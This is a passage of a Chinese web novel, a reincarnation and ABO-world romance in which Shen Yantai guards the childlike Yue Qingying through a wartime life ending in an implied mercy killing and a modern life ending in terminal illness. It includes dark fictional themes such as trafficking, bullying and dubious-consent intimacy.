看着被安放在不远处的孩子们,月轻盈扭头看去,就见沈砚台不知道什么时候醒了, 眼睛浅浅睁开, 只看得见他眼底的黑色眼瞳。 “坏……人……” 眼前粉嫩的嘴巴张张合合,沈砚台露出浅笑, 伸出手将他纳入怀里,低声道:“我坏, 让你受委屈了。” 见他诚恳道歉,月轻盈皱眉, 挑剔了半晌, 这才转着眼睛打量新环境。 “爹……娘……”见不到每天都顶着逗他笑的亲人, 月轻盈有些害怕,想闹。 沈砚台起身, 将熟睡的崽子们顺好,起床, 执起月轻盈的手, 带着他一起起床。 在他闹之前,先转移他的注意力。 “爹……娘……”游离的黑色眼瞳从四周收回,落在沈砚台的脸上,月轻盈执拗开口。 “马上带你去见他们。”沈砚台给出承诺。 将他领口的扣子扣好, 沈砚台执起他的手带他出门。 月轻盈被动的跟着他转悠,点漆般瞳孔惊惧地看着四周,不免对沈砚台依赖了几分,手上用力,两人的手更紧密的交缠在一起。 “爹,娘!” 听月轻盈呼哧喘气,知道他快要到底线的沈砚台,耐着性子哄道。 “我们吃完就回去好不好,不然你嫁给我,来我家连饭都吃不着,你爹可要对我不满意了。” 月轻盈眨眼,似懂非懂,见沈砚台安静的等着他回答,肚子这时候又叫了起来,便同意了。 “吃……爹……娘……” 沈砚台瞪大眼,噗嗤笑出声,淡笑道:“好。” 吃完了早饭,月轻盈便赶紧催促沈砚台带他回家,沈砚台还在吃,看了他一眼,示弱般道:“我还没吃饱……饿饿……” “唔……”饿了很不舒服的,月轻盈便压着暴躁 一边抠手,一边拧眉要他吃吃。 沈砚台三两口吃完,让人备车,备了些薄礼,带着月轻盈上车。 柳知县家一片愁云惨淡,早饭都吃的不香了,就在这时候下人来报,少爷和王爷来了,安静后紧接着是一片混乱。 柳知县提着衣摆就往前堂走,“完了完了,王爷不是为难盈儿了吧?” 柳夫人也是一脸愁容,“盈儿可别遭罪了。” 月轻盈的哥哥姐姐们也是一脸着急。 等他们到的时候,便见沈砚台坐在椅子上,月轻盈在一旁打量自己的家。 他是傻子,总会这样,辨认一件东西要很久。 柳知县看着儿子出色俊逸的面容,总会失神,他木纳的眼神又会让他的心口总是钝痛。 “见过砚王。”柳知县迎了上来。 沈砚台起身,躬身道:“岳父。” 柳知县有些不安,“这……还没到三天回门的时候,怎得王爷带盈儿过来了。” 沈砚台见跟亲人贴贴的月轻盈,宠溺一笑,“他想家了,离得近,索性带他过来了。” 柳知县一愣,倒是不知道砚王竟是如此温柔的人。 “是是是……”柳知县招呼道:“那砚王盈儿你们吃过了没有?” “吃过了,你们是不是还没有用?先去用餐吧。” “那你们……?” “我让盈盈带我在这里走走吧。” 柳知县一愣他家傻儿子哪里会带路? 他刚想说自己来,就见沈砚台走到了月轻盈身边,微微俯身,轻声细语同他说话。 “盈盈,爹娘要吃饭,你带我玩好不好?” 众人惊,阎王竟然像哄孩子一样用了玩这个字眼。 月轻盈眨眼,半晌理解了玩这个词,点头,说了好。 众人在一惊,傻儿子你好什么好,你会玩什么啊,你就答应了! 月轻盈像是小孩子,伸出手去抓沈砚台的手,沈砚台将手递过去。 看着两人交握的手,一起离开的背影,柳知县家里人皆都一震。 砚王这就搞定月轻盈了? 沈砚台觉得带只有一魂一魄的月轻盈,可比带三个崽要轻松多了。 长亭边,一眼看过去都是难忘的美景。 月轻盈知道要跟新认识的人玩,他不知道怎么做,便在脑子里回忆小时候爹娘教他的。 白嫩的手指着一簇盛开的花道:“花……花……好看……” 沈砚台在一边符合:“嗯……我心甚悦。” 听他说喜欢,月轻盈面上带上了喜色,露出一个腼腆羞涩的笑。 沈砚台挑眉,眼里尽是满足,他活着便足矣。 两人交流感情,一觉醒来,爹娘都不见了的小崽子们直接傻眼了,哭嚎声差点掀翻了屋顶。 砚王府的人无奈,只能将三个小崽子也打包送来了柳知县府邸。 柳知县和三个小崽子大眼瞪小眼。 柳知县越看越惊心,这三个小崽子越看越像沈砚台和月轻盈。 这要不是他们两个人的孩子都没人信。 可他们都是男子,怎可生子。 柳知县头疼,问清楚下人月轻盈和沈砚台的去处,便让人将三个崽子带了过去。 小凉亭里,月轻盈结结巴巴,情绪激动,跟他说着蛐蛐,鱼 沈砚台静静听着,不时应和,给他添茶倒水。 三个崽子见状就有些吃味了。 “爹!”脆生生的小嗓子一开,沈砚台和月轻盈一同侧目看去。 沈砚台招手让他们过去,月轻盈往沈砚台那边坐了坐,他到现在还没忘记自己被三个崽子压着睡的重量。 四双眼睛就这么眼巴巴地朝着自己看了过来,沈砚台一愣随即,笑开。 “既然都来了,那就一起玩吧。” 三个崽子眼睛发光,月轻盈不明所以,伸出手扯住了沈砚台的袖子。 沈砚台宠溺一笑,手指一挥,指尖立刻出现一只会跳舞的小兔子。 小崽子们哇哇叫,月轻盈也捂着嘴,可越看越觉得熟悉,头脑有些反应不过来,脸色苍白的靠在了沈砚台肩膀。 沈砚台知道,这是他魂魄里还残留的记忆,他拍着月轻盈的肩膀,拉过了三个崽子。 “他是你们的娘,亲娘。”沈砚台一本正经说着。 三个崽子眨眼,眼神懵懂。 沈砚台抿抿唇,虽然不想撕开胸前已经逐渐愈合的伤疤,可是,一些事不得不说。 孩子始终要认祖归宗的。 “我说,他是你们的娘,生你们的娘。” 三个小崽子脑袋一歪,眼神清澈,里面是满满地不解。 小川沉稳道:“可是他是男的呀。” 小河眼神还迷蒙着:“嗯嗯,是哥哥,不是娘亲。” 小宵已经笑开了,扑倒在月轻盈怀里,甜甜道:“娘亲!” 小川,小河,虎躯一震,“!” 沈砚台摸摸小宵的头,“这个故事说起来很长,总之就是爹做了对不起娘的事,导致你们的娘魂魄散了,忘记了很多事……” “你们还小,等你们大了我再跟你们细说,你们只要知道,他是你们的娘,唯一的娘。” “也可以喊他爹爹,喊我爹亲,喊他爹爹。” 小川,小河,还有些喊不出口,但小宵是个颜控,一张嘴就是爹爹,然后……他得到了一个沈砚台的亲亲。 小川,小河,小眉头皱着,爹亲的亲亲那诱惑太大了,没多久,就有些生涩害羞的喊了月轻盈爹爹。 月轻盈不懂,眼眸明亮,傻乎乎地也跟着喊爹爹。 小川小河小宵一愣,哈哈笑了起来。 沈砚台也笑,伸手将月轻盈的长发顺了顺,轻声道:“你不用喊,你是他们的爹爹,我是你的夫君。” “夫……君……” 时隔了好久好久的一声夫君,再度听见,沈砚台唇瓣微颤,竟有些潸然落泪的酸涩。 “对,夫君,而你是我的妻……也是我的夫君。” “夫……君。”月轻盈小嘴巴嗫嚅,一遍遍念着,像是得到了新奇的玩意,一直念叨。 他每念一句,沈砚台就会嗯一声,执着的好笑的一声也不肯落下。 时间差不多了,沈砚台就要带他们回砚王府了,月轻盈现在还不熟悉砚王府,再说了,那里也是他的家。 “回去吗?” “回去……”,显然月轻盈不太理解。 沈砚台跟他解释,“嗯,回只有我们五个人的家。” “我们五个?” 小川老气横秋的点头,“嗯,我们一起玩!” 小河迷迷糊糊道:“我也要玩!” 小宵粘人的很:“不要丢下我!” 月轻盈皱了皱鼻子,“不跟你们一起睡,重重!” 三个崽子一懵,想起了一大早就钻人被窝的事,脸颊通红。 沈砚台见状不说话,一直轻笑着,看他们四个互动。 他们还不熟,母子情淡,以后会越来越好。 之后的沈砚台等人,一同出门游玩,一同回家,一同做各种各样的事。 沈砚台一个大人带四个崽,倒也不累,不如说,这么些年他从未这么充实过。 就在他们享受天伦之乐时,战争也开始打响了。 沈砚台陷入了月轻盈的劫难,这次,他不能动用一分一毫的法力。 而沈砚台也为自己寻好了结局,他要在万人敌军中以一人抵挡,能救下一个人是一个人,最后,死在万箭之下。 他在偿还。 偿还月轻盈的苦难。 曾经他遭受了一百零八箭,如今,他万箭穿心,是他活该。 只求上天大地,再多疼爱些月轻盈,让他下一世劫难别在经历生离死别。 第84章 84 性别:omega “报!战事逼近!请砚王出战!” 如预料般战事来临。 收到消息的沈砚台正在和月轻盈三个崽子们完, 收下士兵送来的战报,立即整装出发。 战事吃紧,敌军似是疯了, 不断派出大军压来, 朝廷的援军迟迟不来, 兵临城下是无奈所至。 沈砚台浑身都是溅上的血迹,他站在城楼上,看着逐渐逼近宛如黑云般庞大的敌军,神色严厉, 转头去问副将。 “援军还没来吗?” “没有。” “城里的人转移的如何了?” “城里民众多, 不好转移。” “是吗?” 沈砚台声音低沉,眼眸凝重, 果然,即使他入了月轻盈的劫难, 结局还是改不了。 风声鹤唳,他看着敌军, 抽出了刀, 神情无畏, 语气坚定。 “看来是来不及了,兄弟们, 咱们就是死也要卡住这个城门,让更多的百姓们可以逃难!” “是!” 一声令下, 城门大开。 沈砚台骑着马匹, 身后是跟随他的骑兵,城楼上是弓箭手,所有人都视死如归! “驾!” 随着马蹄声撼动大地,厮杀声想起, 战争再无停歇。 沈砚台仗着自己的好功夫和不会枯竭的精力,杀了一批又一批敌军。 他是无敌,可是他身后的其他士兵还是在逐渐减少。 开始破损显出颓败之资的城楼,似诉说了他们的结局。 “砚王,尔等有罪,小世子们还有王妃没来得及疏散,现在还在城中。” 沈砚台一怔,回头看了一眼自己要守护的城池,揪心三个崽子和月轻盈没有庇护。 三个崽子他不担心,他们没入劫难,他可以将他们收入空间里,但是月轻盈……他救不活。 “先顾……其他百姓!” 沈砚台话说出口,自己都愣了一下,随即莞尔,他做的这个决定,月轻盈一定不会怪他,毕竟,他就是最关心百姓生命的第一人。 沈砚台收了笑,全力以赴,和敌军厮杀,直到……他的身后再无一个活着的士兵。 他的头发,眉眼,脸颊,浑身都是迸溅的血液,浓稠的像是粘腻在他的身上。 敌军也有些震惊,恼凶成怒,从未想到,一个人,仅仅一个人竟是让他们折损了这么多士兵! “弓箭手,全部出动,务必杀了他,拿下这座城池!” 箭矢就和雨点一点,密密麻麻攻来,沈砚台双手挥刀,也抵挡不住万剪。 很快,他的手臂,胸膛,大腿被射中,血液从伤口中流出,剧痛袭来,他也只是皱了皱眉,反而被激起了血性,不顾伤痛,猛地上前,怒取三五敌军头颅。 敌军:“!!!继续,放箭!放箭!” 沈砚台承受了大部分,他身后的城墙早已千疮百孔,敌军无计可施,万人大军和沈砚台一人,相互对峙。 可是…… 时间太久了,沈砚台伤得也太重了,他的眼前开始模糊,看着黑压压一群的敌军,自知不敌,竟然是退了。 他忽然反身开始往城楼里冲! 敌军以为他怕了,退缩了,立刻出击。 沈砚台跌跌撞撞,几经周转,找到了缩在屋子里的月轻盈和三个小崽子。 小崽子们一见他浑身是血就吓得直哭,沈砚台来不及多说,给了三个崽子安抚的亲亲,便将他们送入了空间。 终于,他能和月轻盈独处了。 “盈盈,对不起啊,我来送你一程,我们一起上路。” 他的血手摸上了月轻盈的脸,月轻盈迷茫,没有抗拒,只皱着眉头拿衣服给他擦,嫌弃道:“脏脏……臭臭……” 沈砚台无力发笑,他闭上眼睛,忍着痛苦,抱紧月轻盈道:“对不起啊,没能让你活的久些。” 月轻盈不懂,就执着的给他擦脸上的血。 沈砚台捧着他的脸,对他露出一个比哭还难看的笑,“对不起,别怪我自私,我不忍看别人杀了你,所以……这次我来动手好不好?我一定轻轻的。” 月轻盈歪歪脑袋,眼神单纯无辜的看着沈砚台。 沈砚台闭眼,举起了颤抖的手…… 大军过境,月轻盈第一世劫难完成。 第二世。 被灯光点亮的黑夜如白天,滴滴车鸣声不绝,还是热闹的场景。 钢琴世家闻家,今晚举办了一个生日宴,主人公是闻三公子,omeg月轻盈的成年礼。 宴会厅里够筹交错,男人女人都穿着得体的衣服,举止优雅,细声细语攀谈欢笑。 沈砚台坐在二楼,着一身黑色西装,手里执着酒杯,浅浅摇晃,长而细窄的眼睛在人群中漫无目的的游走。 “啊,来了来了,闻小公子来了。” 人群骚动,沈砚台定睛观看。 二楼的扶梯口,闻小公子在父母的陪伴下一步步走入宴会中心。 他一袭白色西装,头发贴合地一丝不苟,很正经,盛不下他精致的面孔。 细润的眉眼,懵懂灵动的眼睛,唇边的浅笑,好一个少年感绝佳的贵公子。 沈砚台坐直了身体,酒杯被他放在桌子上,他盯着那一团白色,挑起了眉头。 月轻盈被安排坐在就近的位置,侍者给他上了一杯刚煮好的鲜奶,他修长纤细的手指接过,乖巧的小口抿着。 到此为止,他未从露出一丝破绽。 不多时,闻父闻母开始给来参加宴会上的人递上了一张卡片。 沈砚台耐着性子等,侍者停留在他身边,递给他一个锦盒。 沈砚台先是看了一眼乖巧吃着饼干的白团子啊慢条斯理的打开了锦盒,里面蓝色的天鹅绒躺着一张卡片。 修剪干净圆润的好看指尖拿起,翻转看了两圈,沈砚台打开。 是一张体检单,名字是月轻盈。 性别:omega 体检项目:子/宫,发育完成。 代表他可以给alpha孕育孩子。 沈砚台眉眼一下子凶狠了起来,捏碎了卡片,转头瞪着闻父闻母,又心疼地看了一眼吃饱喝足打量宴会,对此什么都不知道的月轻盈。 他起身,刚要拔步下楼,楼下传来了吵闹声。 “是我先去找闻先生的,你怎么插队啊!” 惹事的两人因为情绪激动,身上散发出了味道不同的信息素,浓烈令人不适。 沈砚台抬手掩鼻,皱眉,下楼的速度变快。 “你才是,你神经病啊,玛德,谁不知道闻家老三是个傻子啊,傻子你也跟我抢!” “操,你分明知道omega能用来干嘛,何况他长的这么好看,不说为了下一代,玩玩也不错啊!” 见这些人越来越口无遮拦,沈砚台眉眼间的戾气开始迸发。 他扫了一眼闻父闻母的表情,虽然难堪,但却未阻止,想来,他们也早已将月轻盈这个傻子看成了可以用来交易的货品。 月轻盈对争吵的内容不懂,只在一边眨巴着眼睛看戏,不知道他以后命运怎么悲惨的他一脸无辜。 “操,喂,你们闻家也真是的,干嘛搞宴会啊,现在好了,这么多人都想要你家傻子,你们怎么收场?” 这个话刚落音,就被两个黑衣保镖给隔开了,不止他,就连周围来参加宴会的所有人都被隔开了。 突然出现的另一起势力,让众人发愣,呆呆地看着逐渐靠近的男人。 男人身高一米九,块头大,身量极其优越,一身合体的黑色西装,衬托的他优雅又高冷,似山海般深刻的眉眼,缓缓抬起的摄人眼瞳,都让人为之被震慑。 “三……三爷……” “沈砚台?卧槽,闻家有点本事啊,居然请到了三爷!” 沈家是几百年世家,听说有皇室血脉,祖上就是靠玉石黄金发家,富可敌国,家里的产业涉及广泛,多大佬都得喊声爷的顶级存在。 说完了家世,沈砚台本人也是极优alpha,怎么看都是和宴会中的他们不是一个档次。 众人震惊之迹,沈砚台已经走进了闻父闻母面前,面色认真冷酷。 “你这算是贩/卖/人口了,我会报警,你的孩子我会告诉警方由我接管,我的信誉不错,警方应该也很放心。” 说着,不顾众人傻眼,他走到捂着嘴巴吃瓜吃的很开心的月轻盈面前。 月轻盈仰着脖子看不认识的男人。 下一秒,他就惊吓地往后退了一点。 沈砚台,那个被他们称之为三爷的人,竟对他单膝跪地,朝他伸出矜贵温暖的手,说别怕,他带他回家。 “回家……”月轻盈看着他不知为何有些窘迫,慌张摆手,却胡乱的给了男人一巴掌。 啪! 众人的心紧紧上提! 沉闷的氛围中,男人低低笑了一声,扣住了月轻盈慌乱无措的手,笑容明媚,“我当你答应了。” “唔……”月轻盈挣扎了两下,像是受了惊吓的小鹿,瑟缩着看着沈砚台,又求救似的看向父母。 沈砚台叹气,伸手捂住他的眼睛,弯腰将他打包抱走了。 “他们不是你的父母,真正爱你的父母不会在背地里做这么卑劣的事。” 缩在沈砚台的怀里,月轻盈没有感到害怕,还有熟悉感,顺从的被他带走了。 拦着他们的保镖消失,宴会客人和闻父闻母都疯了。 “什么意思!沈三爷就这么把人给带走了?” “他没病吧,月轻盈他就是个傻子!” “操,他一个极优alpha要什么omega没有啊,看上了一个傻子!哈,白痴吧!” 第85章 85 这些气急败坏的声音,沈砚台…… 这些气急败坏的声音, 沈砚台是听不到了。 保镖们将车门打开,沈砚台抱着人坐进去,一得到自由, 月轻盈就往车另一边躲, 双眼不住打量, 写满了惊慌。 “回哪里的家?”他看向侧面线条深刻的男人,握紧了手中的安全带。 “回我的家,你现在是人质,被我强抢了。” 两世劫难, 月轻盈有了两魂两魄, 从他说话越来越流利就能看出来,沈砚台逗他。 “那你给钱了吗?”猝不及防, 月轻盈认真的问出口。 沈砚台一愣,眉眼流转浅笑, 矜贵点头,“对, 应该给钱的。” “那你认为我给多少钱合适?” 月轻盈高傲的抬起下巴, “宝宝我可是无价的!” 沈砚台逗猫一样, 伸出手骚了骚他下巴,得到一记瞪视, 他收回手,眼眸微弯, 让他看起来多了层朦胧的温柔。 “好, 照你说的,无价。” “那你知道无价是多少钱吗?”月轻盈得意哼哼。 “多少钱?”沈砚台感兴趣的问。 月轻盈在他面前张开手掌,手指根根白玉通透,“五百万!” 沈砚台脸上的笑容凝固, 带上了冷意,五百万可能是闻父闻母经常在他面前提起,所以他就只记得五百万。 “好,五百万。”沈砚台张开手掌,扣向他的掌心,将他是手指包裹住。 刺入肌肤的滚烫让月轻盈呆了一瞬,脸颊迅速爬上红晕,他动了动手却没有将手抽出来,甚至觉得很舒服。 回到住处,沈砚台还打算抱他,被月轻盈拒绝了,皱着眉头严肃申明,“宝宝长大了,可以自己走!” “宝宝真厉害。”沈砚台跟在他身后仅一寸的距离。 被夸了,堵住了月轻盈的嘴,结结巴巴半晌走进了屋子。 屋内陈设了很多名贵的月轻盈叫不上名字的古玩,很典雅,甚至还有一把很巨大的弓箭。 见月轻盈的目光落在弓箭上,沈砚台侧身挡住,“宝宝累了一天要不要去洗漱?” 月轻盈嗅嗅自己身上都是在宴会上沾染来的各种香水味,点点头,“要得。” 曾几何时,月轻盈在他面前这么乖巧过? 沈砚台忍不住上手撸了一把,跟撸猫一样揉了揉他的的耳垂,肉嘟嘟白嫩嫩,跟玉豆子一样。 “别摸了,宝宝不舒服!”月轻盈感到眩晕,脸颊高温,身体不住发烫。 沈砚台将他送去浴室,沈砚台在门外等候。 大概过了半个小时,沈砚台的鼻端嗅到了若有似无的甜香味,随即时间的流逝,这股香味逐渐让人心悸。 沈砚台散漫的表情变得魅惑起来,“真开心,刚见面就给我这么大的礼。” 他打开门走进去,就见着月轻盈躺在地上,正细细喘气,发情期来了。 沈砚台看了他一会,丝毫不受影响,将他打横抱起,见他都快被烧红了,便释放自己的信息素安抚。 得知这是个ABO世界,起初他还觉得有意思,但是多了,他就觉得索然无味。 信息素,就像是他用自己的庞大的魔气震慑其他人,让他做事一样。 只不过他的魔气里没有催/情这个作用。 迅速让月轻盈恢复正常,等他的体温降下来,他便打算离开。 月轻盈现在衣不蔽体,多少有点不合适,虽然老夫老妻了,但是这一世的月轻盈并不清楚。 “去哪?”一截细白的手腕,探出软绵绵的指甲拽住了沈砚台的衣角。 沈砚台回头。 月轻盈脸颊再度发红,红润唇瓣翕动,“我饿了……想喝奶。” “?”沈砚台的表情有些迟缓,“我记得没错的话,你成年了?” “宝宝从小就生病了,还没发育好,喝奶才能长大。” “我去让人给你准备。” 我要你给我冲!” 片刻后。 月轻盈沈砚台两个人拧着眉头,看着眼前小小的一罐奶粉和奶瓶,眉眼都是凝重。 “你要喝多少克?” 月轻盈吞吞口水,“多点多点。” 沈砚台看了他一眼,按照说明被给他备了一瓶,月轻盈美滋滋的喝着,不时发出嘬嘬声。 沈砚台倍受折磨,总会想到不好的方面。 “你……”他刚开口,月轻盈就抖着脚歪倒在他怀里,很是怡然自得。 沈砚台脸黑了,“你都不怕我吗?” “你都给我冲奶了,我还怕你?呵,我怕你想亲自上手喂我。” 这是挑衅吧? 沈砚台垂眸,月轻盈嫩生生的脸,无辜莹润的眼睛,用力有些艳红的嘴唇,确认了,他不是挑衅,他是肆无忌惮。 “呵。” 沈砚台伸手一把抢过奶瓶,作势要往嘴巴里塞。 月轻盈显然反应不过来,看着空空的手,看着自己心爱的奶瓶,再看看男人那自己绝对打不过的体格,嘴巴一憋,委屈的呜咽了一声。 沈砚台差点失笑,“是个宝宝你就玩不起了?” 月轻盈表示听不懂,只觉得抢他奶瓶的男人很是可恶。 “坏,我要回家!我不要给你生孩子了!” 沈砚台举高奶瓶给他够,闻言,他眼眸认真的看向月轻盈。 “你知道生孩子的事?” 月轻盈够不到,有些累了,颓然的陷在沙发里,点头,“爸爸妈妈跟我说过。” 沈砚台抿唇,将奶瓶还给他,见他喜滋滋喝着,大掌捂住了额心,表情阴鸷,他在想,给怎么给闻父闻母一点教训。 “喝完了!”月轻盈满足的打了一个小嗝,将空奶瓶示意给沈砚台看。 沈砚台带过娃,当即夸赞好棒。 月轻盈唔了一声,主动的凑近沈砚台,大掌勾着他的脖子,一屁股坐在沈砚台的怀里。 “我们什么时候生孩子?”月轻盈低着头,声音细小,纤细白嫩,让人一掌心就能控制的脖颈,无辜的袒露在沈砚台的眼底。 沈砚台:“……” 他跟着月轻盈入劫难,真的没有其他意思! 他真不是禽兽! “你不是说你是宝宝吗,等你什么时候不说自己是宝宝了,我就跟你生孩子。” 月轻盈缓缓抬头,眉眼有着惊喜,眼尾有着轻松,太好了,他不用生孩子了! 许是沈砚台保护他,用信息素给他降温,给他冲奶,让他对他有了依赖感,话不自觉变多,吐露着真心。 “我其实很害怕,生孩子很痛!” 沈砚台无言。 敛下目光,心思沉重,小川小河小宵的出生,就是他剖开月轻盈的肚子取出的。 他那个时候魂飞魄散,□□的疼痛也全然感受不到,但……若是他活着,肯定也会让他痛的痛不欲生。 “那我们不生,你就是我的宝宝。” 月轻盈咕涌,一下子钻进沈砚台的怀里,细瘦的胳膊圈抱住了他的腰。 “宝宝喜欢你。” 沈砚台眼瞳微微睁大,不可置信看着就这样喜欢自己的月轻盈。 好半晌,他懂了,之前无论自己怎么做都不得他喜欢,想来就是因为自己太恶劣了。 他心疼地抱住月轻盈,大掌一下下拍着他的后背,“我也喜欢你去,我最爱你。” 月轻盈埋在他怀里,蹭了蹭,突然,他猛地起身,看了眼眼神发虚的沈砚台,又看了看他的胸前。 赶在他伸手摸上来之迹,沈砚台按下他的手,就着姿势将他抱起来,“宝宝该睡觉了。” 月轻盈点头,“是的,宝宝要睡觉了,宝宝明天还要上学。” “好。”沈砚台点头,这个世界要接受文化教育。” 一大早,沈砚台就陪着还处在困顿中的月轻盈洗脸刷牙吃早饭,送他去上学。 到了国际私立学校,沈砚台目送月轻盈走远,收回目光让司机开车。 他哪儿都没去。 上一世,他一人之力的抵挡救下了不少的生命,上天大地这次网开一面,允许他用魔气,但不能对人使用。 知道月轻盈不喜欢蛇,他便变成飞鸟跟着月轻盈来到班级。 班级里氛围一下子就变了。 沈砚台这才发觉到,这是omega和alpha共存的学校。 “月轻盈居然来上学了?” “哈哈哈哈,我就说吧,我赢了,钱拿来!” 一群alpha居然在打赌。 “操,我他么还以为他成年后会被其他alpha带回家了。” “玛德,哪个傻逼alpha这么没用?” “嘘,别乱说,你知道个屁!” “你们都不知道吧,昨晚沈家沈三爷也去了,还将月轻盈给带走了!” “沈三爷?” 一个清脆的男声响起,沈砚台垂眸看去,一个长相乖戾的男生,哼笑了一声,起身走到月轻盈的座位。 月轻盈不喜欢这些人,便皱着眉头侧身躲避。 男生却忽然弯腰,深深嗅了一下月轻盈的脖子,月轻盈像是受到了惊吓,脸色都有些发白。 “呵,什么嘛,根本没有alpha的味道。”嘲笑完男生看向其他人,调笑道:“沈三爷是不是不行啊?” 一众人哈哈哈笑出声。 很显然,月轻盈对这些事不懂,眼神里是懵懂茫然。 男生又扭头看向月轻盈,挑剔的打量了两眼,忽然俯身靠近他。 “喂,既然别的alpha满足不了你,你不如试着讨好我们看看?” 第86章 86 弟弟是小狼狗 小兔崽子! 沈砚台瞪着男生一阵磨牙, 眼眸确实紧张的看向月轻盈。 月轻盈抬眸,好似在认真的打量男生,沈砚台的心提紧。 “你长的太丑了。”月轻盈撇开眼, 吐词带着嫌弃。 男生一愣, 身后的同学们哈哈大笑了起来。 沈砚台也跟着一怔, 露出笑意,牙尖都是痒痒的。 月轻盈的反应自然惹恼了爱面子的男生,见他揪起他的领口做势要动手,沈砚台赶紧扑腾着翅膀, 用尖锐的喙去啄窗户。 敲击声刺耳, 同学们回头,就见着一只黑鸟不断装着玻璃, 每撞一下窗户上都有血点,随着时间的推移, 竟是成了字。 “别找死……”有个男生将血淋淋的字念出来后,脸色当即就难看的白了。 “操, 这么邪门?” “我非得打死这个鸟!” 月轻盈冷眼旁观, 眼神里透着阴沉, “小心倒霉。” 不知为何,看着这样的月轻盈, 男生从心底感到害怕,他后退了一步, 不再纠缠。 沈砚台满意地看着这一幕。 接月轻盈回家的时候, 他当无事发生一样,询问他今天上学有没有发生什么事,有没有同学欺负他。 月轻盈摇头,笑得纯银:“没有啊, 他们都很好。” “是吗?” “可我怎么在你身上闻到了alpha的味道?”沈砚台微微弓腰,嗅闻着月轻盈的脖颈。 月轻盈微不可察的缩了一下肩膀,笑容讪讪:“我们是AB混读的学校。” “这可怎么办才好?”沈砚台看着月轻盈优越的侧脸,长睫毛遮掩住眼底的流光,伸出手指轻轻在他后颈勾画。 似有若无的瘙痒让月轻盈难以忍受,他挪了挪,求饶似的看向沈砚台。 “那……那你来标记我?”月轻盈眼里有着懵懂,他根本不懂标记的意思。 但是他的脑海意识有这个印象。 “标记……”沈砚台愣了一下,低下头弯唇笑,他的唇轻轻贴在月轻盈的后颈。 “你知道标记怎么标记吗?” “你知道标记会发生什么吗?” “反正不就是你咬我一口?”被他温热的吐息一直拂着后颈的腺体,月轻盈浑身有些软绵绵的。 他伸手摸着后颈,好擦去上面残留的带有侵占意味的温度。 “咬?”沈砚台喉间滚出意味不明的深笑,舌尖舔了一下牙尖,牙尖碰触他的后颈皮肤。 刺刺地酥麻感,一下子就让月轻盈软了腰,他眼圈红红地含着水,茫然无助地看着沈砚台。 “你咬我了?”他嗓音里含着委屈,声音细细软软带着服软。 “我就只是碰了一下,你就哭了,要是我真的咬你了,你不得成个哭包?” 月轻盈的脸上有明显的震惊,“什么,你还没咬啊!” 月轻盈咬唇,憋屈的唔了一声,还没咬他的腰就软了,真咬下去他还能活着吗? “那……不标记了。”他死死护住后颈。 “可是不标记,怎么才能让别人知道你是我的?” 月轻盈看着他,眼神空洞,他不知道。 “那就这样吧。” 沈砚台低声说着,一边抬手勾住月轻盈的脖颈,“印个属于我的痕迹吧。” 像是羽毛般的轻吻落下,力气变大,含着浅浅的啃咬。 月轻盈的腰一下子又软了,有些抗拒的想起身,被沈砚台按压住了腰迹,他眼圈里的泪水还是落了下来。 有种失重的恐慌,让他紧紧攀缠住沈砚台,等他结束时,他已经浑身发软,额迹都是细汗,眼神也软软的,瞪着沈砚台时都没有震慑力。 沈砚台噗嗤笑出声,风轻云淡地将月轻盈拨弄折磨的溃不成军。 一路到家,月轻盈都在生闷气,他被欺负了,但他却诡异的感觉到了舒服感。 他肯定是生病坏掉了! 他要喝奶才会好! 书包一丢,他就气呼呼板着脸,翻出奶粉和奶瓶给沈砚台。 “冲!” 自知自己混蛋了的沈砚台,立刻解开袖口扣子,挽起衣袖,给他冲奶。 看着喝奶喝的一头汗的月轻盈,眉眼带着宠溺和纵容的沈砚台,忽然想起来自己忘了一件事。 这一世的月轻盈……是病死的。 从容不迫不在,沈砚台的眼里划过慌乱,眼里都是狼狈。 月轻盈是腺体癌,在19岁时死亡。 他刚成年,活不了一年了啊。 感受到专注在自己身上的视线不在,月轻盈转头去看沈砚台,见他走神,白嫩嫩的脚踹在他的大腿上。 仅仅是一个举动,沈砚台忽然伸手将他的脚脚抱住,用一种心疼的眼神看着他去。 “干森么?”含着奶嘴,他说话含糊不清。 “不干森么,就是……想你都十八了怎么还在念书,你想不想去哪里玩?” “粗去玩?”惊喜来的太突然,月轻盈放开奶嘴,微张这嘴巴,奶香味香甜。 “我可以出去玩?”月轻盈的喜悦藏不住。 “你想去哪我都满足你。” “你会陪我吗?” “会,你去哪我去哪?” 沈砚台眼神坚定,别说陪他玩,死他都可以。 “那……我要先去海边!” “好。” 沈砚台满口答应了。 月轻盈办理了休学,沈砚台带着他到处疯玩。 夏威夷的一个小岛,建造的海上堡垒,月轻盈穿着清凉,正在悠闲的午睡,忽然,后颈处一阵剧烈的抽痛惊的他浑身抽搐了起来。 他表情痛苦,从躺椅上跌落下来,巨大的声响让在客厅里的沈砚台,担心的瞬移了过去。 “怎么了?” 月轻盈疼得说不出话,浑身都在发抖,脸色白的跟纸一样,汗水很快浸湿了他的衣裳。 沈砚台心脏一痛,抱起他的双手青筋都鼔了起来。 这样看着月轻盈死去的事,还要经历几次,也算是他的劫难。 “马上就好了,马上就好了……” 沈砚台的魔气只能自己用,对月轻盈他也无计可施,他没办法,就是沉稳的抱着他一下下安抚他。 “呜……我是不是要死了?” 月轻盈黑发被汗水浸湿,更加的濡黑,与他苍白的皮肤对比,两种颜色极致碰撞,刺伤了沈砚台的眼睛。 他抱着月轻盈轻轻呜咽了起来。 滚烫的泪珠打在脸上,月轻盈怔然了瞬间后就释然了。 死就死了,死前和这个人在一起,他不害怕。 月轻盈的腺体癌恶化的速度非常快,很快他就卧床不起了。 被病痛折磨,月轻盈很快就消瘦下来,眼窝都陷下去了,眼睑处是一片浓厚的疲惫色。 “真过分,早知道该要你标记我的。” 他看着同样消瘦了的沈砚台,眼圈红透,要不是死咬着唇瓣,哭泣声就要冲破牙关。 “现在标记我也愿意。” 沈砚台背着光,坐在椅子上,身体的消瘦让他的五官轮廓更加立体刻骨,增添了病弱气息,两边鬓角白发丛生,一点都不像三十岁的男人。 “不要,我痛的要死,你在咬我,我会讨厌你的。” 月轻盈知道他真的会咬,可是他不愿。 线体癌,他的腺体病变,内部早已糜烂腐化,脓疮遍布很恶心。 他想死前在沈砚台面前保持最后一点美丽。 沈砚台轻笑,眼里是擦不去的沉痛。 “还喝奶吗?” “不喝了,我怀疑是奶粉让我生病,让我不能和你在一起。” “你这是牵连,不喝奶,要不要吃我?” 看着起身向自己走进的沈砚台,月轻盈一愣,脸色拉下来了,满脸严肃,“别靠近我。” 腺体癌通过唾液、□□传播。 沈砚台碰他,他也有机率会被感染。 “我不怕死去,我怕失去你。” 